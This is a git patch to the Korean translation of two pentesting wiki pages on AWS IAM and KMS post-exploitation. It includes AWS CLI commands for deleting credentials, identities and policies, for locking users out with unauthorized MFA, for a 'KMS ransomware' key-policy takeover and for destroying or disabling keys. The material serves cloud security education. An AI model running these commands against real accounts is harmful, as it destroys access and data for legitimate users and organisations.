From be72ff35c9713d2a43081c6a4094ceadf6d00c14 Mon Sep 17 00:00:00 2001 From: Translator Date: Tue, 7 Oct 2025 09:50:18 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/aws-security/aws-post-exploitation --- .../aws-iam-post-exploitation.md | 105 +++++++++++++++--- .../aws-kms-post-exploitation.md | 103 +++++++++++++---- 2 files changed, 169 insertions(+), 39 deletions(-) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md index bb57a7b45..95b321826 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md @@ -1,26 +1,26 @@ -# AWS - IAM Post Exploitation +# AWS - IAM 포스트 익스플로이테이션 {{#include ../../../banners/hacktricks-training.md}} ## IAM -IAM 접근에 대한 자세한 정보: +For more information about IAM access: {{#ref}} ../aws-services/aws-iam-enum.md {{#endref}} -## 혼란스러운 대리인 문제 +## Confused Deputy Problem -만약 **외부 계정(A)**이 귀하의 계정의 **역할**에 접근할 수 있도록 허용하면, **누가 정확히 그 외부 계정에 접근할 수 있는지에 대한 가시성**이 **0**이 될 것입니다. 이는 문제입니다. 왜냐하면 다른 외부 계정(B)이 외부 계정(A)에 접근할 수 있다면, **B가 귀하의 계정에 접근할 수 있는 가능성도 있기 때문입니다**. +만약 당신이 **외부 계정(A)이** 당신 계정의 **role**에 접근하는 것을 **허용한다면**, 아마도 해당 **외부 계정에 정확히 누가 접근할 수 있는지에 대한 가시성은 0**일 것입니다. 이것은 문제가 되는데, 다른 외부 계정(B)이 외부 계정(A)에 접근할 수 있다면 **B도 당신의 계정에 접근할 수 있게 될 가능성**이 있기 때문입니다. -따라서 외부 계정이 귀하의 계정의 역할에 접근할 수 있도록 허용할 때 `ExternalId`를 지정할 수 있습니다. 이는 외부 계정(A)이 **귀하의 조직에서 역할을 맡기 위해 반드시 지정해야 하는** "비밀" 문자열입니다. **외부 계정 B는 이 문자열을 알지 못하기 때문에**, A에 대한 접근 권한이 있더라도 **귀하의 역할에 접근할 수 없습니다**. +따라서, 외부 계정이 당신 계정의 role에 접근하도록 허용할 때 `ExternalId`를 지정할 수 있습니다. 이는 외부 계정(A)이 당신의 조직에서 role을 가정(assume the role in your organization)하기 위해 **명시해야 하는** "비밀" 문자열입니다. **외부 계정 B는 이 문자열을 알지 못하기 때문에**, 설령 B가 A에 대한 접근 권한을 가지고 있더라도 **당신의 role에 접근할 수 없습니다**.
-그러나 이 `ExternalId` "비밀"은 **비밀이 아닙니다**. IAM 역할 맡기 정책을 **읽을 수 있는 누구나 이를 볼 수 있습니다**. 하지만 외부 계정 A가 이를 알고 있고, 외부 계정 **B는 이를 모른다면**, 이는 **B가 A를 악용하여 귀하의 역할에 접근하는 것을 방지합니다**. +하지만 이 `ExternalId` "비밀"은 **비밀이 아니다**는 점에 유의하세요. `IAM assume role policy`를 **읽을 수 있는 누구나 이 값을 볼 수 있습니다**. 그러나 외부 계정 A가 이 값을 알고 있고 외부 계정 **B는 모른다면**, 이는 **B가 A를 악용하여 당신의 role에 접근하는 것을 방지**합니다. -예: +Example: ```json { "Version": "2012-10-17", @@ -39,11 +39,11 @@ IAM 접근에 대한 자세한 정보: } ``` > [!WARNING] -> 공격자가 혼란스러운 대리인을 악용하려면 현재 계정의 주체가 다른 계정의 역할을 가장할 수 있는지 확인해야 합니다. +> 공격자가 confused deputy를 악용하려면 현재 계정의 principals가 다른 계정의 roles를 가장할 수 있는지 어떻게든 찾아야 한다. -### 예상치 못한 신뢰 +### 예상치 못한 Trusts -#### 와일드카드 주체 +#### principal로서의 와일드카드 ```json { "Action": "sts:AssumeRole", @@ -51,9 +51,9 @@ IAM 접근에 대한 자세한 정보: "Principal": { "AWS": "*" } } ``` -이 정책은 **모든 AWS**가 역할을 맡을 수 있도록 허용합니다. +이 정책은 **모든 AWS**가 해당 역할을 맡을 수 있도록 허용합니다. -#### 주체로서의 서비스 +#### 서비스가 주체인 경우 ```json { "Action": "lambda:InvokeFunction", @@ -64,7 +64,7 @@ IAM 접근에 대한 자세한 정보: ``` 이 정책은 **모든 계정**이 자신의 apigateway를 구성하여 이 Lambda를 호출할 수 있도록 허용합니다. -#### S3를 주체로 사용 +#### S3를 주체로 ```json "Condition": { "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" }, @@ -73,7 +73,7 @@ IAM 접근에 대한 자세한 정보: } } ``` -S3 버킷이 주체로 제공되는 경우, S3 버킷에는 계정 ID가 없기 때문에, 만약 **당신의 버킷을 삭제하고 공격자가 자신의 계정에서** 그것을 생성하면, 그들은 이를 악용할 수 있습니다. +만약 S3 bucket이 principal로 지정되어 있고 S3 bucket은 Account ID가 없으므로, 당신이 **deleted your bucket and the attacker created** it in their own account이라면 공격자가 이를 악용할 수 있습니다. #### 지원되지 않음 ```json @@ -84,9 +84,82 @@ S3 버킷이 주체로 제공되는 경우, S3 버킷에는 계정 ID가 없기 "Resource": "arn:aws:s3:::myBucketName/AWSLogs/MY_ACCOUNT_ID/*" } ``` -Confused Deputy 문제를 피하는 일반적인 방법은 `AWS:SourceArn` 조건을 사용하여 원본 ARN을 확인하는 것입니다. 그러나 **일부 서비스는 이를 지원하지 않을 수 있습니다** (일부 출처에 따르면 CloudTrail과 같은). +A common way to avoid Confused Deputy problems is the use of a condition with `AWS:SourceArn` to check the origin ARN. However, **some services might not support that** (like CloudTrail according to some sources). -## References +### 자격 증명 삭제 +다음 권한 중 하나라도 있으면 — `iam:DeleteAccessKey`, `iam:DeleteLoginProfile`, `iam:DeleteSSHPublicKey`, `iam:DeleteServiceSpecificCredential`, `iam:DeleteInstanceProfile`, `iam:DeleteServerCertificate`, `iam:DeleteCloudFrontPublicKey`, `iam:RemoveRoleFromInstanceProfile` — 행위자는 access keys, login profiles, SSH keys, service-specific credentials, instance profiles, certificates 또는 CloudFront public keys를 삭제하거나 역할을 인스턴스 프로필에서 분리할 수 있습니다. 이러한 조치는 정당한 사용자와 애플리케이션의 접근을 즉시 차단하고, 해당 자격 증명에 의존하는 시스템에 대해 denial-of-service 또는 접근 상실을 초래할 수 있으므로, 이러한 IAM 권한은 엄격히 제한하고 모니터링해야 합니다. +```bash +# Remove Access Key of a user +aws iam delete-access-key \ +--user-name \ +--access-key-id AKIAIOSFODNN7EXAMPLE + +## Remove ssh key of a user +aws iam delete-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE +``` +### Identity Deletion +`iam:DeleteUser`, `iam:DeleteGroup`, `iam:DeleteRole`, 또는 `iam:RemoveUserFromGroup` 같은 권한이 있으면, 행위자는 사용자, 역할, 그룹을 삭제하거나 그룹 멤버십을 변경하여 신원과 관련된 흔적을 제거할 수 있습니다. 이로 인해 해당 신원에 의존하는 사람과 서비스의 접근이 즉시 차단되어 denial-of-service 또는 접근 상실이 발생할 수 있으므로, 이러한 IAM 동작은 엄격히 제한되고 모니터링되어야 합니다. +```bash +# Delete a user +aws iam delete-user \ +--user-name + +# Delete a group +aws iam delete-group \ +--group-name + +# Delete a role +aws iam delete-role \ +--role-name +``` +### +다음 권한 중 하나라도 있으면 — `iam:DeleteGroupPolicy`, `iam:DeleteRolePolicy`, `iam:DeleteUserPolicy`, `iam:DeletePolicy`, `iam:DeletePolicyVersion`, `iam:DeleteRolePermissionsBoundary`, `iam:DeleteUserPermissionsBoundary`, `iam:DetachGroupPolicy`, `iam:DetachRolePolicy`, `iam:DetachUserPolicy` — 행위자는 관리형/인라인 정책을 삭제하거나 분리(detach)하고, 정책 버전이나 permissions boundaries를 제거하며, 사용자·그룹·롤에서 정책의 연결을 해제할 수 있습니다. 이는 권한을 파기하고 권한 모델을 변경하여 해당 정책에 의존하던 주체(principals)의 즉각적인 접근 상실이나 서비스 거부(denial-of-service)를 초래할 수 있으므로, 이러한 IAM 액션은 엄격히 제한되고 모니터링되어야 합니다. +```bash +# Delete a group policy +aws iam delete-group-policy \ +--group-name \ +--policy-name + +# Delete a role policy +aws iam delete-role-policy \ +--role-name \ +--policy-name +``` +### 연합 인증 삭제 +With `iam:DeleteOpenIDConnectProvider`, `iam:DeleteSAMLProvider`, and `iam:RemoveClientIDFromOpenIDConnectProvider`, 권한을 가진 행위자는 OIDC/SAML 인증 제공자를 삭제하거나 클라이언트 ID를 제거할 수 있다. 이는 연합 인증을 중단시켜 토큰 검증을 불가능하게 만들고 IdP 또는 설정이 복구될 때까지 SSO에 의존하는 사용자 및 서비스의 접근을 즉시 차단한다. +```bash +# Delete OIDCP provider +aws iam delete-open-id-connect-provider \ +--open-id-connect-provider-arn arn:aws:iam::111122223333:oidc-provider/accounts.google.com + +# Delete SAML provider +aws iam delete-saml-provider \ +--saml-provider-arn arn:aws:iam::111122223333:saml-provider/CorporateADFS +``` +### 무단 MFA 활성화 +`iam:EnableMFADevice` 권한을 통해 공격자는 사용자 계정에 MFA 장치를 등록해 정당한 사용자가 로그인하지 못하게 할 수 있다. 무단 MFA가 활성화되면 장치가 제거되거나 재설정될 때까지 사용자가 로그인을 못하게 될 수 있다(참고: 여러 MFA 장치가 등록되어 있으면 로그인에는 하나만 필요하므로 이 공격은 접근 차단에는 영향을 주지 않는다). +```bash +aws iam enable-mfa-device \ +--user-name \ +--serial-number arn:aws:iam::111122223333:mfa/alice \ +--authentication-code1 123456 \ +--authentication-code2 789012 +``` +### Certificate/Key Metadata Tampering +With `iam:UpdateSSHPublicKey`, `iam:UpdateCloudFrontPublicKey`, `iam:UpdateSigningCertificate`, `iam:UpdateServerCertificate`, 권한을 가진 행위자는 공개 키 및 인증서의 상태나 메타데이터를 변경할 수 있습니다. 키/인증서를 비활성화하거나 참조를 변경하면 SSH 인증을 무력화하고 X.509/TLS 검증을 무효화하며, 해당 자격증명에 의존하는 서비스를 즉시 중단시켜 접근 권한 상실이나 가용성 저하를 초래할 수 있습니다. +```bash +aws iam update-ssh-public-key \ +--user-name \ +--ssh-public-key-id APKAEIBAERJR2EXAMPLE \ +--status Inactive + +aws iam update-server-certificate \ +--server-certificate-name \ +--new-path /prod/ +``` +## 참고자료 - [https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html](https://docs.aws.amazon.com/IAM/latest/UserGuide/confused-deputy.html) diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md index 7569338d7..dee1ccae3 100644 --- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md +++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-kms-post-exploitation.md @@ -4,7 +4,7 @@ ## KMS -자세한 정보는 다음을 확인하세요: +For more information check: {{#ref}} ../aws-services/aws-kms-enum.md @@ -12,15 +12,15 @@ ### Encrypt/Decrypt information -`fileb://` 및 `file://`는 AWS CLI 명령에서 로컬 파일의 경로를 지정하는 데 사용되는 URI 스킴입니다: +`fileb://` and `file://` are URI schemes used in AWS CLI commands to specify the path to local files: -- `fileb://:` 파일을 이진 모드로 읽습니다. 일반적으로 비텍스트 파일에 사용됩니다. -- `file://:` 파일을 텍스트 모드로 읽습니다. 일반적으로 일반 텍스트 파일, 스크립트 또는 특별한 인코딩 요구 사항이 없는 JSON에 사용됩니다. +- `fileb://:`는 파일을 바이너리 모드로 읽습니다. 일반적으로 텍스트가 아닌 파일에 사용됩니다. +- `file://:`는 파일을 텍스트 모드로 읽습니다. 일반적으로 일반 텍스트 파일, 스크립트 또는 특별한 인코딩 요구사항이 없는 JSON에 사용됩니다. > [!TIP] -> 파일 내의 데이터를 복호화하려면 파일이 base64로 인코딩된 데이터가 아닌 이진 데이터를 포함해야 합니다. (fileb://) +> 파일 내의 데이터를 decrypt하려면, 파일에는 base64로 인코딩된 데이터가 아니라 바이너리 데이터가 포함되어야 합니다. (fileb://) -- **대칭** 키 사용 +- **symmetric** 키를 사용하는 경우 ```bash # Encrypt data aws kms encrypt \ @@ -38,7 +38,7 @@ aws kms decrypt \ --query Plaintext | base64 \ --decode ``` -- **비대칭** 키 사용: +- **asymmetric** 키 사용: ```bash # Encrypt data aws kms encrypt \ @@ -58,16 +58,16 @@ aws kms decrypt \ --query Plaintext | base64 \ --decode ``` -### KMS 랜섬웨어 +### KMS Ransomware -KMS에 대한 권한이 있는 공격자는 키의 KMS 정책을 수정하고 **자신의 계정에 대한 액세스를 부여**하여 정당한 계정에 부여된 액세스를 제거할 수 있습니다. +KMS에 대한 권한을 가진 공격자는 키의 KMS 정책을 수정하여 **자신의 계정에 접근 권한을 부여**하고, 정상 계정에 부여된 접근 권한을 제거할 수 있다. -그런 다음, 정당한 계정 사용자는 이러한 키로 암호화된 서비스의 정보에 접근할 수 없게 되어 계정에 대한 쉽지만 효과적인 랜섬웨어가 생성됩니다. +그 결과, 정상 계정 사용자는 해당 키로 암호화된 어떤 서비스의 정보에도 접근할 수 없게 되어, 계정에 대한 쉽고도 효과적인 ransomware를 만들게 된다. > [!WARNING] -> **AWS 관리 키는** 이 공격의 영향을 받지 않으며, **고객 관리 키만** 영향을 받습니다. +> 참고: **AWS managed keys**는 이 공격의 영향을 받지 않으며, 영향받는 것은 오직 **Customer managed keys**뿐이다. -> 또한 **`--bypass-policy-lockout-safety-check`** 매개변수를 사용해야 한다는 점에 유의하십시오(웹 콘솔에서 이 옵션이 없으면 이 공격은 CLI에서만 가능합니다). +> 또한 매개변수 **`--bypass-policy-lockout-safety-check`**를 사용해야 한다는 점에 유의하라 (웹 콘솔에는 이 옵션이 없기 때문에 이 공격은 CLI에서만 가능하다). ```bash # Force policy change aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ @@ -92,34 +92,91 @@ aws kms put-key-policy --key-id mrk-c10357313a644d69b4b28b88523ef20c \ } ``` > [!CAUTION] -> Note that if you change that policy and only give access to an external account, and then from this external account you try to set a new policy to **원래 계정에 대한 액세스를 다시 제공하려고 하면, Put Policy 작업은 교차 계정에서 수행할 수 없기 때문에 할 수 없습니다**. +> 정책을 변경해 외부 계정에만 액세스를 허용한 뒤, 그 외부 계정에서 원래 계정에 접근 권한을 되돌리기 위한 새 정책을 설정하려 해도, **Put Polocy 액션은 cross account에서 수행할 수 없기 때문에 불가능합니다**.
### Generic KMS Ransomware -#### Global KMS Ransomware +글로벌 KMS Ransomware를 수행하는 또 다른 방법이 있으며, 다음 단계들을 포함합니다: -There is another way to perform a global KMS Ransomware, which would involve the following steps: +- 공격자가 가져온 **key with a key material**을 사용하여 새 key를 생성한다 +- 이전 버전으로 암호화된 피해자의 데이터를 새 키로 **Re-encrypt older data** 한다 +- **Delete the KMS key** +- 이제 원래의 key material을 가진 공격자만 암호화된 데이터를 복호화할 수 있게 된다 -- Create a new **key with a key material** imported by the attacker -- **이전 버전으로 암호화된 오래된 데이터 재암호화** 새로운 것으로. -- **KMS 키 삭제** -- Now only the attacker, who has the original key material could be able to decrypt the encrypted data +### Delete Keys via kms:DeleteImportedKeyMaterial -### Destroy keys +권한 `kms:DeleteImportedKeyMaterial`가 있으면 행위자는 `Origin=EXTERNAL`인 CMKs에서(키 material을 import한 CMKs) 가져온 key material을 삭제할 수 있으며, 이로 인해 해당 CMK로 데이터를 복호화할 수 없게 됩니다. 이 작업은 파괴적이며 호환 가능한 material을 다시 재-import하지 않는 한 되돌릴 수 없습니다. 따라서 공격자는 암호화된 정보를 영구적으로 접근 불가능하게 만들어 사실상 ransomware-like 데이터 손실을 유발할 수 있습니다. ```bash -# Destoy they key material previously imported making the key useless -aws kms delete-imported-key-material --key-id 1234abcd-12ab-34cd-56ef-1234567890ab +aws kms delete-imported-key-material --key-id +``` +### 키 파기 +키를 파기하면 DoS를 일으킬 수 있다. +```bash # Schedule the destoy of a key (min wait time is 7 days) aws kms schedule-key-deletion \ --key-id arn:aws:kms:us-west-2:123456789012:key/1234abcd-12ab-34cd-56ef-1234567890ab \ --pending-window-in-days 7 ``` > [!CAUTION] -> AWS는 이제 **이전 작업이 교차 계정에서 수행되는 것을 방지합니다:** +> 참고: AWS는 이제 **이전 작업들이 cross account에서 수행되는 것을 차단합니다:** +### Alias 변경 또는 삭제 +이 공격은 AWS KMS aliases를 삭제하거나 리다이렉트하여 키 해석을 깨뜨리고, 해당 aliases에 의존하는 서비스에서 즉시 장애를 발생시켜 denial-of-service를 초래합니다. `kms:DeleteAlias` 또는 `kms:UpdateAlias` 같은 권한을 가진 공격자는 aliases를 제거하거나 재지정하여 암호화 작업(예: encrypt, describe)을 방해할 수 있습니다. key ID 대신 alias를 참조하는 서비스는 alias가 복원되거나 올바르게 재매핑될 때까지 실패할 수 있습니다. +```bash +# Delete Alias +aws kms delete-alias --alias-name alias/ + +# Update Alias +aws kms update-alias \ +--alias-name alias/ \ +--target-key-id +``` +### 키 삭제 취소 +`kms:CancelKeyDeletion` 및 `kms:EnableKey` 같은 권한을 가진 행위자는 AWS KMS 고객 마스터 키의 예약 삭제를 취소하고 나중에 다시 활성화할 수 있습니다. 이렇게 하면 키를 복구(초기에는 Disabled 상태)하여 이전에 보호된 데이터를 복호화할 수 있는 기능이 복원되고, exfiltration을 가능하게 합니다. +```bash +# Firts cancel de deletion +aws kms cancel-key-deletion \ +--key-id + +## Second enable the key +aws kms enable-key \ +--key-id +``` +### Disable Key +With the `kms:DisableKey` 권한이 있으면 공격자는 AWS KMS customer master key를 비활성화하여 해당 키를 암호화 또는 복호화에 사용할 수 없게 만들 수 있습니다. 이는 해당 CMK에 의존하는 모든 서비스의 접근을 차단하며, 키가 다시 활성화될 때까지 즉각적인 중단이나 denial-of-service를 초래할 수 있습니다. +```bash +aws kms disable-key \ +--key-id +``` +### Derive Shared Secret +`kms:DeriveSharedSecret` 권한이 있으면, 행위자는 KMS에 보관된 private key와 사용자가 제공한 public key를 사용하여 ECDH shared secret을 계산할 수 있습니다. +```bash +aws kms derive-shared-secret \ +--key-id \ +--public-key fileb:/// \ +--key-agreement-algorithm +``` +### Impersonation via kms:Sign +`kms:Sign` 권한이 있으면, 행위자는 KMS에 저장된 CMK를 사용해 private key를 노출하지 않고 데이터를 암호학적으로 서명할 수 있으며, 이는 유효한 서명을 생성하여 impersonation을 가능하게 하거나 악의적인 행위를 승인하는 데 사용될 수 있다. +```bash +aws kms sign \ +--key-id \ +--message fileb:// \ +--signing-algorithm \ +--message-type RAW +``` +### DoS with Custom Key Stores +`kms:DeleteCustomKeyStore`, `kms:DisconnectCustomKeyStore`, 또는 `kms:UpdateCustomKeyStore` 같은 권한을 가진 공격자는 AWS KMS Custom Key Store (CKS)를 수정, 분리 또는 삭제할 수 있으며, 그 결과 마스터 키가 작동하지 않게 됩니다. 이로 인해 해당 키에 의존하는 서비스의 암호화, 복호화 및 서명 작업이 중단되어 즉각적인 denial-of-service가 발생할 수 있습니다. 따라서 해당 권한을 제한하고 모니터링하는 것이 중요합니다. +```bash +aws kms delete-custom-key-store --custom-key-store-id + +aws kms disconnect-custom-key-store --custom-key-store-id + +aws kms update-custom-key-store --custom-key-store-id --new-custom-key-store-name --key-store-password +```
{{#include ../../../banners/hacktricks-training.md}}